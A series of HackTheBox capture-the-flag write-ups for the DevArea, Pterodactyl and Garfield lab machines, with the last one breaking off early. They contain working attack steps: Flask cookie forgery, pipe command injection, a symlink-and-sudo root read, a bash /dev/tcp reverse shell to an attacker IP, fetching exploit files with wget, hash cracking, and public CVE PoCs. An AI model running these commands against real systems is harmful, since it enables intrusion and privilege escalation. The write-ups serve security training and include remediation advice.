
Matching Defaults entries for dev_ryan on devarea:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty

User dev_ryan may run the following commands on devarea:
    (root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop,
        !/opt/syswatch/syswatch.sh web-restart

dev_ryan can run syswatch.sh as root without a password — with the exception of the web-stop and web-restart subcommands. The logs subcommand is unrestricted.

6.2 Flask Session Forgery

Flask session cookies are signed but not encrypted. With the leaked SYSWATCH_SECRET_KEY we can forge any session:

# forge.py
from flask.sessions import SecureCookieSessionInterface
from flask import Flask

app = Flask(__name__)
app.secret_key = "f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725"

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session_data = {"user_id": 1, "username": "admin"}
forged_cookie = session_serializer.dumps(session_data)
print(forged_cookie)

python3 forge.py
# eyJ1c2VyX2lkIjox...

Verify admin access:

curl -b "session=<FORGED_COOKIE>" http://127.0.0.1:7777/

6.3 Command Injection in /service-status

The Flask app uses an incomplete regex with shell=True:

SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")

res = subprocess.run(
    [f"systemctl status --no-pager {service}"],
    shell=True,    # ← dangerous
    capture_output=True, text=True, timeout=10
)

The regex blocks ;, /, &, ., <, >, uppercase — but not |. Pipe injection works:

curl -s -b "session=<FORGED_COOKIE>" \
  -X POST http://127.0.0.1:7777/service-status \
  -d "service=ssh | id"
# uid=1002(syswatch)

RCE as syswatch confirmed — this user can write to /opt/syswatch/logs/.

6.4 Double Symlink Attack

The vulnerability in log_message():

The syswatch-monitor timer (and syswatch.sh itself) executes plugins that call log_message() from common.sh:

log_message() {
    local logfile="$1"
    if [ -L "$logfile" ]; then
        rm -f -- "$logfile"    # removes ONE level of symlink
        : > "$logfile"          # creates file — follows remaining chain!
        chmod 644 "$logfile"
    fi
    echo "$(date ...) - $msg" >> "$logfile"
}

Why double symlink bypasses the check:

[ -L "$logfile" ] only tests whether the path itself is a symlink — it does not follow the chain. With two links:

evil.log → chain.log → /root/root.txt

Script sees evil.log is a symlink → removes it
: > "evil.log" recreates the name — the shell follows chain.log → /root/root.txt
The privileged process now reads/writes directly into /root/root.txt

The regex in /service-status blocks / and ., so we use printf octal escapes to construct paths without those characters.

Step 1 — Create the tracking pointer link (chain.log → /root/root.txt):

curl -s -b "session=<FORGED_COOKIE>" \
  -X POST http://127.0.0.1:7777/service-status \
  --data-urlencode "service=ssh | ln -sf \
$(printf '\057root\057root\056txt') \
$(printf '\057opt\057syswatch\057logs\057chain\056log')"

Step 2 — Create the primary verification link (evil.log → chain.log):

curl -s -b "session=<FORGED_COOKIE>" \
  -X POST http://127.0.0.1:7777/service-status \
  --data-urlencode "service=ssh | ln -sf \
$(printf 'chain\056log') \
$(printf '\057opt\057syswatch\057logs\057evil\056log')"

Step 3 — Verify the chain:

curl -s -b "session=<FORGED_COOKIE>" \
  -X POST http://127.0.0.1:7777/service-status \
  --data-urlencode "service=ssh | ls -la \
$(printf '\057opt\057syswatch\057logs\057')"
# evil.log -> chain.log
# chain.log -> /root/root.txt

Step 4 — Read the root flag instantly via sudo:

Rather than waiting up to 5 minutes for the background timer, we invoke syswatch.sh directly as root using the logs subcommand:

sudo /opt/syswatch/syswatch.sh logs evil.log

Why this works immediately:

When syswatch.sh logs evil.log runs, it calls the same log_message() logic — but because we invoked it with sudo, every file operation executes with full root privileges instantly. The security check inspects evil.log and sees it points to chain.log, a file inside the permitted logs directory. It passes. The script then executes cat evil.log, which the kernel resolves recursively:

evil.log → chain.log → /root/root.txt

The root flag prints directly to your terminal — no timer, no waiting.

Root flag captured!

7. Attack Chain Summary

Step	Technique	Impact
Reconnaissance	Nmap	Identified FTP, SOAP service, Hoverfly
Anonymous FTP	Download employee-service.jar	Access to application binary
JAR Analysis	jadx-gui decompilation	Discovered Apache CXF SOAP endpoint
CVE-2022-46364	Apache CXF MTOM SSRF	Arbitrary file read — no auth required
Credential Extraction	Read hoverfly.service	Hoverfly dashboard credentials
CVE-2025-54123	Hoverfly middleware injection	RCE as dev_ryan
User Flag	Reverse shell	`/home/dev_ryan/user.txt`
Secret Leak	`/etc/syswatch.env` world-readable	Flask signing key exposed
Session Forgery	Flask SecureCookieSession	Admin access to internal web GUI
Command Injection	Pipe `\	` bypasses regex
Double Symlink	TOCTOU in log_message()	Symlink chain set up via syswatch user
Sudo Bypass	`syswatch.sh logs` NOPASSWD rule	Instant root read-through via sudo
Root Flag	Symlink read	`/root/root.txt`

8. Key Vulnerabilities & Lessons

1. Anonymous FTP Enabled — Never enable anonymous FTP on production servers. It exposed the application binary which revealed the entire attack surface.

2. CVE-2022-46364 — Apache CXF SSRF (CVSS 9.8) — Upgrade to CXF ≥3.5.5 / ≥3.4.10. The SSRF provided a file read primitive that unlocked the entire attack chain.

3. Credentials in Systemd Service Files — Service files are world-readable by default. Never embed credentials directly — use systemd credential storage or a secrets manager.

4. Leaked Flask Secret Key — /etc/syswatch.env was readable by all users. A leaked signing key allows forging any Flask session cookie. Restrict env files: chmod 600 /etc/syswatch.env.

5. CVE-2025-54123 — Hoverfly Middleware Injection — The middleware API accepted arbitrary binaries and scripts with no validation. Upgrade Hoverfly and restrict API access to trusted networks only.

6. Incomplete Regex with shell=True — Denylisting injection characters always misses something — here it missed |. Always use subprocess.run(["systemctl", "status", service]) with a list to avoid shell interpretation entirely.

7. Double Symlink TOCTOU — [ -L "$logfile" ] resolves only one symlink level. Use readlink -f to fully resolve paths and validate they stay within the intended directory before any write operation.

8. Overly Permissive Sudo Rule — The NOPASSWD rule for syswatch.sh with a denylist approach (!web-stop, !web-restart) is inherently unsafe. Any subcommand not explicitly blocked — including logs — is permitted as root. Sudo rules should use an allowlist, not a denylist.

Conclusion

DevArea demonstrates a realistic multi-stage attack chain where each vulnerability enables the next:

Anonymous FTP exposes the application binary
Binary analysis reveals the technology stack
Unauthenticated SSRF gives arbitrary file read
File read exposes service credentials
Outdated middleware with known RCE gives initial shell
World-readable secrets enable authentication bypass
Incomplete sanitization allows command injection
A subtle symlink race condition combined with a permissive sudo rule leads to instant root

Every vulnerability here has been seen in real-world environments. Defense in depth — patching, least privilege, proper input handling — would have broken this chain at any link.

Have you solved DevArea? Drop your approach in the comments! Follow for more HackTheBox writeups and security research.

HackTheBox : Pterodactyl Writeup

Yogeshwar Peela — Sun, 19 Jul 2026 15:23:09 +0000

Summary

Pterodactyl is a Linux box built around an unauthenticated RCE in the Pterodactyl game-server management panel. A static "MonitorLand" landing page on port 80 gives no functionality of its own, but a leaked changelog.txt discloses the exact panel version (v1.11.10) and backend stack (PHP-PEAR, MariaDB). Virtual host fuzzing turns up the actual panel at panel.pterodactyl.htb, and the disclosed version maps directly to CVE-2025-49132 - an unauthenticated PHP object-deserialization RCE via the /locales/locale.json endpoint, abusable through PHP-PEAR to gain code execution as wwwrun. From there, the Laravel .env file leaks MariaDB credentials, and dumping the users table yields bcrypt password hashes; cracking one with john recovers valid SSH credentials for phileasfogg3, who owns the box's only real home directory - and the user flag.

Privilege escalation chases a D-Bus/udisks/polkit trust chain surfaced during manual and automated enumeration. The direct route, CVE-2025-6019 (a libblockdev/udisks LPE), requires an allow_active (physically-present) session, which an SSH session doesn't satisfy by default. Fingerprinting the OS (openSUSE Leap 15.6) leads to a second bug, CVE-2025-6018 (a PAM/pam-config flaw), which promotes a plain SSH session to allow_active. Chaining the two - first elevating the session's Polkit context, then using that context to trigger a SUID bash via a crafted XFS filesystem mount through udisks - yields a root shell and the root flag.

Key techniques: information disclosure via leaked changelog -> vhost enumeration -> CVE-2025-49132 (Pterodactyl Panel unauthenticated RCE via PEAR-based deserialization) -> Laravel .env credential disclosure -> MariaDB credential dump -> offline bcrypt cracking -> SSH foothold -> CVE-2025-6018 (PAM allow_active session escalation) -> CVE-2025-6019 (libblockdev/udisks LPE via crafted XFS mount) -> SUID bash -> root.

1. Reconnaissance

An nmap scan was run to identify open ports and services.

nmap -sCV -T4 -A <MACHINE-IP> -o nmap-pterodactyl

Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-09 07:01 EST
Nmap scan report for pterodactyl.htb (<MACHINE-IP>)
Host is up (0.22s latency).
Not shown: 978 filtered tcp ports (no-response), 18 filtered tcp ports (admin-prohibited)
PORT     STATE  SERVICE  VERSION
22/tcp   open   ssh      OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_  256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp   open   http     nginx 1.21.5
|_http-title: "My Minecraft Server"
|_http-server-header: nginx/1.21.5
443/tcp  closed https
8080/tcp closed http-proxy
Aggressive OS guesses: Linux 5.0 - 5.14 (98%), Linux 4.15 - 5.19 (94%), Linux 2.6.32 - 3.13 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   216.42 ms 10.10.14.1
2   210.40 ms pterodactyl.htb (<MACHINE-IP>)

Nmap done: 1 IP address (1 host up) scanned in 34.08 seconds

Two services are exposed:

22/tcp - SSH
80/tcp - HTTP (nginx), titled "My Minecraft Server"

pterodactyl.htb was added to /etc/hosts:

sudo nano /etc/hosts
<MACHINE-IP> pterodactyl.htb panel.pterodactyl.htb

2. Web Enumeration

The site itself is a static "MonitorLand" landing page for a Minecraft server community, with no interactive functionality:

While the page itself has nothing to exploit, it links out to play.pterodactyl.htb and a changelog. Fetching http://pterodactyl.htb/changelog.txt turned out to be far more useful than the page it was linked from:

MonitorLand - CHANGELOG.txt
========================================

Version 1.20.X

[Added] Main Website Deployment
-------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.

[Linked] Subdomain Configuration
-------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.

[Installed] Pterodactyl Panel v1.11.10
-------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
  - PHP with required extensions.
  - MariaDB 11.8.3 backend.

[Enhanced] PHP Capabilities
-------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()

This single file discloses the exact Pterodactyl Panel version (v1.11.10), the database backend (MariaDB 11.8.3), and - critically - that PHP-PEAR is enabled. That combination significantly narrows the search for a version-specific vulnerability.

2.1 Virtual Host Enumeration

ffuf -u http://pterodactyl.htb -H "HOST: FUZZ.pterodactyl.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc 200

________________________________________________

 :: Method           : GET
 :: URL              : http://pterodactyl.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.pterodactyl.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

panel                   [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 610ms]

panel.pterodactyl.htb was added to /etc/hosts and resolves to the Pterodactyl Panel login page.

3. Exploitation - CVE-2025-49132

With the exact panel version in hand, research turned up a matching vulnerability: an unauthenticated LFI/RCE affecting Pterodactyl Panel.

CVE-2025-49132 abuses the /locales/locale.json endpoint. By controlling the locale and namespace parameters, an attacker can include arbitrary files - which, combined with PHP-PEAR being enabled, leads to PHP object deserialization via PEAR, ultimately resulting in unauthenticated remote code execution.

PoC used: YoyoChaud/CVE-2025-49132

A listener was started first:

nc -lnvp 4444
listening on [any] 4444 ...

Then the exploit was run against the panel:

python3 exploit.py http://panel.pterodactyl.htb --pear-dir /usr/share/php/PEAR \
  --rce-cmd "/bin/bash -i >& /dev/tcp/<ATTACKER-IP>/4444 0>&1"

  Pterodactyl Panel - Unauthenticated Exploit
  Targets: <= 1.11.10 | Patched: 1.11.11
  Exploit By YoyoChaud

════════════════════════════════════════════════════════════
  VULNERABILITY CHECK
════════════════════════════════════════════════════════════
  [*] Target: http://panel.pterodactyl.htb
  [+] Endpoint accessible without hash parameter
  [+] TARGET IS VULNERABLE

════════════════════════════════════════════════════════════
  RCE (pearcmd) - /bin/bash -i >& /dev/tcp/<ATTACKER-IP>/4444 0>&1
════════════════════════════════════════════════════════════
  [+] Output:
(connection held - check your listener)

The listener catches a shell as wwwrun:

nc -lnvp 4444
listening on [any] 4444 ...
connect to [<ATTACKER-IP>] from (UNKNOWN) [<MACHINE-IP>] 60140
bash: cannot set terminal process group (1214): Inappropriate ioctl for device
bash: no job control in this shell
wwwrun@pterodactyl:/var/www/pterodactyl/public>

3.1 Stabilizing the Shell and Finding the User

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z to suspend, then on the attacker terminal:
stty raw -echo; fg
export TERM=xterm

# Enumerate users
cat /etc/passwd

Of the accounts with /bin/bash as their shell, only phileasfogg3 has an accessible home directory - making it the clear target for the next stage.

3.2 User Flag

wwwrun@pterodactyl:/var/www/pterodactyl/public> cat /home/phileasfogg3/user.txt
HTB{REDACTED}

4. Database Enumeration and Credential Cracking

Laravel applications (which power the Pterodactyl Panel) store database credentials in a .env file - a high-value target during post-exploitation.

# Locate the .env file
find / -type f -name "*.env" 2>/dev/null

# Read it for database credentials
cat /path/to/.env

This discloses the MariaDB username, password, and database name. With MariaDB (not MySQL) confirmed as the backend:

mariadb -h 127.0.0.1 -u <DB_USER> -p <DB_NAME>
# Prompts for the password from .env

SHOW TABLES;
DESCRIBE users;
SELECT email, username, password FROM users;

This returns two bcrypt password hashes. Bcrypt hashes need to be cracked (not decrypted), so they were saved to a file and run through john:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 0.00% (ETA: 2026-02-11 01:00) 0g/s 81.08p/s 178.3c/s 178.3C/s manuel..jessie
0g 0:00:00:03 0.00% (ETA: 2026-02-11 06:48) 0g/s 80.00p/s 171.4c/s 171.4C/s oliver..brenda
0g 0:00:00:05 0.00% (ETA: 2026-02-11 12:24) 0g/s 78.41p/s 163.9c/s 163.9C/s simple..nicole1
0g 0:00:00:38 0.02% (ETA: 2026-02-11 23:46) 0g/s 70.81p/s 141.6c/s 141.6C/s 159159..outlaw
!QAZ2wsx         (?)
1g 0:00:05:11 0.20% (ETA: 2026-02-10 21:40) 0.003213g/s 112.4p/s 157.0c/s 157.0C/s 052204..yadiel
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

john recovers the candidate password !QAZ2wsx. Although it comes back tagged as an unresolved user ((?)) mid-session, it's the only hit against the two loaded hashes - confirmed against phileasfogg3 in the next step.

4.1 SSH Foothold

Although a shell was already available via the web RCE, SSH provides a more stable session and is generally required for the privilege escalation techniques used later.

ssh phileasfogg3@pterodactyl.htb
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
(phileasfogg3@pterodactyl.htb) Password: !QAZ2wsx
Have a lot of fun...
Last login: Mon Feb  9 18:24:39 2026 from <ATTACKER-IP>
phileasfogg3@pterodactyl:~> whoami
phileasfogg3
phileasfogg3@pterodactyl:~> id
uid=1002(phileasfogg3) gid=100(users) groups=100(users)
phileasfogg3@pterodactyl:~> groups
users

sudo -l was checked as a matter of course:

phileasfogg3@pterodactyl:~> sudo -l
[sudo] password for phileasfogg3:
Matching Defaults entries for phileasfogg3 on pterodactyl:
    always_set_home, env_reset, env_keep="LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES
    LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS XDG_SESSION_COOKIE", !insults,
    secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin, targetpw

User phileasfogg3 may run the following commands on pterodactyl:
    (ALL) ALL

This looks like unrestricted sudo at first glance, but the targetpw Defaults entry changes what password sudo actually asks for: instead of phileasfogg3's own password, it requires the target account's password (i.e. root's). Since that isn't known, this (ALL) ALL grant is a dead end without a separate route to root - confirming that no directly usable sudo/SUID path exists here, and pushing enumeration toward the system's D-Bus/Polkit stack instead.

5. Privilege Escalation

Initial manual enumeration (sudo -l, SUID search) didn't reveal a usable path, so a deeper pass was run with linpeas.sh.

Reviewing the linpeas.sh output flagged SUID-related activity involving D-Bus, mount, and udisks. Since disk-management operations run with elevated privileges, this immediately suggested a possible authorization bypass. udisks is a daemon that manages disks, partitions, and mount operations; runs as root; and exposes its functionality over D-Bus. The relevant trust chain is:

User -> D-Bus -> udisksd (root) -> Polkit (authorization)

Enumerating the relevant binaries and services confirmed the daemon was present and running:

phileasfogg3@pterodactyl:/tmp> ls -l /usr/lib/polkit-1/polkitd
-rwxr-xr-x 1 root root 113104 Jul 15  2025 /usr/lib/polkit-1/polkitd
phileasfogg3@pterodactyl:/tmp> busctl list | grep -i udisks
org.freedesktop.UDisks2                            (activatable) -

phileasfogg3@pterodactyl:/tmp> ls /usr/lib/udisks2/
udisksd

This led to CVE-2025-6019.

PoC used: guinea-offensive-security/CVE-2025-6019

5.1 CVE-2025-6019 - libblockdev/udisks LPE

A Local Privilege Escalation vulnerability was found in libblockdev. Generally, the allow_active setting in Polkit permits a physically-present user to perform certain actions based on session type. Due to how libblockdev interacts with the udisks daemon, an allow_active user can escalate to full root privileges on the target host.

The catch: CVE-2025-6019 requires the attacker to be classified as an allow_active (physically present) user. SSH sessions aren't considered physically present by default, so this condition wasn't satisfied - an additional bug was needed to promote the session first.

5.2 CVE-2025-6018 - PAM allow_active Escalation

The OS version was checked to look for something that could bridge this gap:

phileasfogg3@pterodactyl:~> cat /etc/os-release
NAME="openSUSE Leap"
VERSION="15.6"
ID="opensuse-leap"
ID_LIKE="suse opensuse"
VERSION_ID="15.6"
PRETTY_NAME="openSUSE Leap 15.6"
ANSI_COLOR="0;32"
CPE_NAME="cpe:/o:opensuse:leap:15.6"
BUG_REPORT_URL="https://bugs.opensuse.org"
HOME_URL="https://www.opensuse.org/"
DOCUMENTATION_URL="https://en.opensuse.org/Portal:Leap"
LOGO="distributor-logo-Leap"

openSUSE Leap 15.6, combined with known CVEs against that release, led to CVE-2025-6018:

A Local Privilege Escalation vulnerability in pam-config within Linux Pluggable Authentication Modules (PAM). The flaw allows an unprivileged local attacker to obtain elevated privileges normally reserved for a physically-present allow_active user. An attacker with low-privilege local access (e.g. via SSH) could bypass authentication controls, perform Polkit actions typically restricted to console users, gain unauthorized control over system configuration and services, and potentially compromise system integrity, confidentiality, and availability.

PoC used: ibrahmsql/CVE-2025-6018

5.3 Escalating to allow_active

python3 CVE-2025-6018.py -i <MACHINE-IP> -u phileasfogg3 -p '!QAZ2wsx'

This opens a reverse shell running in an allow_active Polkit session context - satisfying the precondition CVE-2025-6019 needs.

5.4 Hosting the CVE-2025-6019 Exploit Files

# On the attacker machine
python3 -m http.server 8000

CVE-2025-6019's PoC needs a crafted XFS filesystem image, generated locally first:

sudo bash exploit.sh

PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? [y/N]: y
[+] All dependencies are installed.
[*] Checking for vulnerable libblockdev/udisks versions...
[*] Detected udisks version: unknown
[!] Warning: Specific vulnerable versions for CVE-2025-6019 are unknown.
[!] Verify manually that the target system runs a vulnerable version of libblockdev/udisks.
[!] Continuing with PoC execution...
Select mode:
[L]ocal: Create 300 MB XFS image (requires root)
[C]ible: Exploit target system
[L]ocal or [C]ible? (L/C): l
[*] Creating a 300 MB XFS image on local machine...
300+0 records in
300+0 records out
314572800 bytes (315 MB, 300 MiB) copied, 0.364347 s, 863 MB/s
meta-data=./xfs.image            isize=512    agcount=4, agsize=19200 blks
         =                       sectsz=512   attr=2, projid32bit=1
         =                       crc=1        finobt=1, sparse=1, rmapbt=1
         =                       reflink=1    bigtime=1 inobtcount=1 nrext64=1
data     =                       bsize=4096   blocks=76800, imaxpct=25
naming   =version 2              bsize=4096   ascii-ci=0, ftype=1, parent=0
log      =internal log           bsize=4096   blocks=16384, version=2
realtime =none                   extsz=4096   blocks=0, rgcount=0
[+] 300 MB XFS image created: ./xfs.image
[*] Transfer to target with: scp xfs.image <user>@<host>:

The generated xfs.image was downloaded onto the victim (over the reverse shell from the allow_active escalation):

wget http://<ATTACKER-IP>:8000/xfs.image

exploit.sh itself was also fetched. Before running it, its dependencies check function (called near the bottom of the script) needs removing, since the required tooling isn't present on the target and the check would otherwise abort the run:

wget http://<ATTACKER-IP>:8000/exploit.sh
chmod +x exploit.sh
bash exploit.sh

5.5 Triggering the Exploit on the Target

exploit$ ./exploit.sh
PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? [y/N]: y
[*] Checking for vulnerable libblockdev/udisks versions...
[*] Detected udisks version: unknown
[!] Warning: Specific vulnerable versions for CVE-2025-6019 are unknown.
[!] Continuing with PoC execution...
Select mode:
[L]ocal: Create 300 MB XFS image (requires root)
[C]ible: Exploit target system
[L]ocal or [C]ible? (L/C): C
[*] Starting exploitation on target machine...
[*] Checking allow_active status...
[+] allow_active status confirmed.
[*] Verifying xfs.image integrity...
[*] Stopping gvfs-udisks2-volume-monitor...
[*] Note: gvfs-udisks2-volume-monitor was not running.
[*] Setting up loop device...
[+] Loop device configured: /dev/loop0
[*] Keeping filesystem busy to prevent unmounting...
[+] Background loop started (PID: 17836)
[*] Resizing filesystem to trigger mount...
[+] Mount successful (expected error: target is busy).
[*] Waiting 2 seconds for mount to stabilize...
[*] Checking for SUID bash in /tmp/blockdev*...
[+] SUID bash found: /tmp/blockdev.MSMGK3/bash

The allow_active status confirmation is the key line - it proves the CVE-2025-6018 escalation from the previous step actually took effect. From there, the exploit races a crafted XFS mount through udisks and lands a SUID bash binary.

5.6 Root Flag

bash-5.3# whoami
root
bash-5.3# cd /root
bash-5.3# cat root.txt
HTB{REDACTED}

6. Attack Chain Summary

Initial Enumeration
│
├─ Nmap Scan
│  ├─ Port 22 → SSH
│  └─ Port 80 → HTTP (static landing page)
│
├─ Information Disclosure
│  └─ changelog.txt → Pterodactyl Panel v1.11.10, MariaDB, PHP-PEAR enabled
│
├─ Virtual Host Enumeration
│  └─ panel.pterodactyl.htb discovered
│
├─ Web Application Exploitation
│  └─ CVE-2025-49132
│     └─ Unauthenticated RCE via /locales/locale.json (PEAR deserialization)
│
├─ Initial Access
│  └─ Reverse shell as wwwrun
│
├─ Post-Exploitation
│  ├─ Enumerate Laravel files
│  └─ Discover .env configuration file
│
├─ Credential Discovery
│  └─ Extract MariaDB credentials
│
├─ Database Enumeration
│  ├─ Dump users table
│  └─ Extract bcrypt password hashes
│
├─ Credential Attack
│  └─ Crack hash using John the Ripper → phileasfogg3
│
├─ Lateral Movement
│  └─ SSH access as phileasfogg3 (user flag)
│     └─ sudo -l shows (ALL) ALL, but targetpw blocks direct use
│
├─ Local Enumeration
│  └─ Identify D-Bus / udisks / polkit trust chain (linpeas + manual)
│
├─ Privilege Escalation Chain
│  ├─ CVE-2025-6018
│  │  └─ Convert SSH session to allow_active
│  │
│  └─ CVE-2025-6019
│     └─ Exploit libblockdev/udisks via crafted XFS mount → SUID bash
│
└─ Root Access
   └─ Read /root/root.txt

7. Key Vulnerabilities

#	Vulnerability	Impact
1	Exposed `changelog.txt` disclosing Pterodactyl Panel version, DB backend, and PHP-PEAR status	Enables precise, targeted vulnerability research
2	CVE-2025-49132 (Pterodactyl Panel)	Unauthenticated remote code execution via PHP-PEAR deserialization
3	Database credentials stored in the Laravel `.env` file, readable post-RCE	Allows attackers to access and dump the MariaDB backend
4	Weak user password (bcrypt hash crackable via rockyou.txt)	Enables SSH login as `phileasfogg3`
5	Misleading `sudo -l` grant (`(ALL) ALL` gated by `targetpw`)	Not directly exploitable, but highlights confusing/overlooked sudo configuration
6	CVE-2025-6018 (pam-config)	Converts a remote SSH session into an `allow_active` session
7	CVE-2025-6019 (libblockdev / udisks / Polkit)	Local privilege escalation to root via a crafted filesystem mount

8. Remediations

Vulnerability	Recommendation
Exposed `changelog.txt`	Remove changelogs, README files, and other version-disclosing artifacts from production web roots
CVE-2025-49132 (Pterodactyl Panel RCE)	Upgrade to Pterodactyl Panel 1.11.11 or later; disable PHP-PEAR in production unless explicitly required
Database credentials in `.env` readable post-compromise	Restrict filesystem permissions on `.env` to the web service user only; consider a secrets manager instead of a flat file for production credentials
Weak/crackable user password	Enforce strong, non-dictionary passwords; screen against breach/wordlist databases such as `rockyou.txt`
Confusing `sudo` configuration (`(ALL) ALL` + `targetpw`)	Avoid broad `ALL) ALL` grants even when gated by `targetpw`; audit `sudoers` entries for unintended or misleading permissions
CVE-2025-6018 (PAM `allow_active` escalation)	Patch PAM/`pam-config` to a fixed version; monitor for unexpected Polkit `allow_active` session grants from non-console sessions
CVE-2025-6019 (libblockdev/udisks LPE)	Patch `libblockdev`/`udisks` to a fixed version; restrict which users/sessions can invoke `udisks` mount operations via Polkit policy
Lack of monitoring on Polkit/D-Bus privileged operations	Deploy detection for anomalous `udisks`/`polkit` activity, unexpected loop-device creation, and SUID binary creation in world-writable paths like `/tmp`

HackTheBox : Garfield Writeup

Yogeshwar Peela — Sun, 19 Jul 2026 14:31:38 +0000

Summary

Garfield is a Windows Active Directory box centered on an attack path that's invisible to standard BloodHound collection: SYSVOL file-level write access that isn't reflected in AD object ACLs. Starting from HTB-provided credentials for j.arbuckle, SMB/LDAP enumeration and a BloodHound sweep surface a promising-looking chain (l.wilson -> l.wilson_adm -> RODC01) but no way in as l.wilson itself - until manual SMB testing reveals write access to SYSVOL logon scripts, a GPO delegation artifact BloodHound doesn't model. A malicious logon script (.bat launcher + in-memory PowerShell reverse shell) planted via SYSVOL and assigned to l.wilson's scriptPath yields a shell on next login.

From there, l.wilson resets l.wilson_adm's password directly (a delegated right), giving the user flag. l.wilson_adm holds WRITE on the RODC01 computer object, enabling Resource-Based Constrained Delegation (RBCD) via a self-created fake machine account - but RODC01 turns out to sit on an internal-only network segment (the DC is dual-homed), reachable only via a Chisel SOCKS tunnel. Once pivoted in, RBCD is used to request a service ticket impersonating Administrator against RODC01, l.wilson_adm is added to the RODC Administrators group, and the RODC's Password Replication Policy is modified to allow it to cache the real Administrator's credentials. Forcing replication and dumping the RODC's krbtgt key with mimikatz enables both a RODC Golden Ticket and a Key List Attack, ultimately yielding the domain Administrator's NTLM hash and full domain compromise via Pass-the-Hash.

Key techniques: SMB credential leak -> BloodHound-invisible SYSVOL write access -> malicious logon script (fileless PowerShell reverse shell) -> delegated password reset -> RBCD against a writable RODC computer object -> internal network pivot via Chisel -> RODC group/PRP abuse -> forced credential replication -> RODC krbtgt extraction -> Golden Ticket / Key List Attack -> Pass-the-Hash as Administrator.

1. Reconnaissance

An nmap scan was run to identify open ports and services.

nmap -sC -sV -A <MACHINE-IP> -oA nmap-garfield

Nmap scan report for garfield.htb (<MACHINE-IP>)
Host is up (0.27s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-05 03:04:25Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.garfield.htb
| Not valid before: 2026-02-13T01:10:36
|_Not valid after:  2026-08-15T01:10:36
| rdp-ntlm-info:
|   Target_Name: GARFIELD
|   NetBIOS_Domain_Name: GARFIELD
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: garfield.htb
|   DNS_Computer_Name: DC01.garfield.htb
|   DNS_Tree_Name: garfield.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2026-04-05T03:04:43+00:00
|_ssl-date: 2026-04-05T03:05:23+00:00; +8h00m01s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: "Not Found"
|_http-server-header: Microsoft-HTTPAPI/2.0
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-04-05T03:04:45
|_  start_date: N/A
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 7h59m59s

Nmap done: 1 IP address (1 host up) scanned in 138.23 seconds

This is a Windows Active Directory Domain Controller. HTB provided a credential leak for this box: j.arbuckle.

1.1 DNS Enumeration

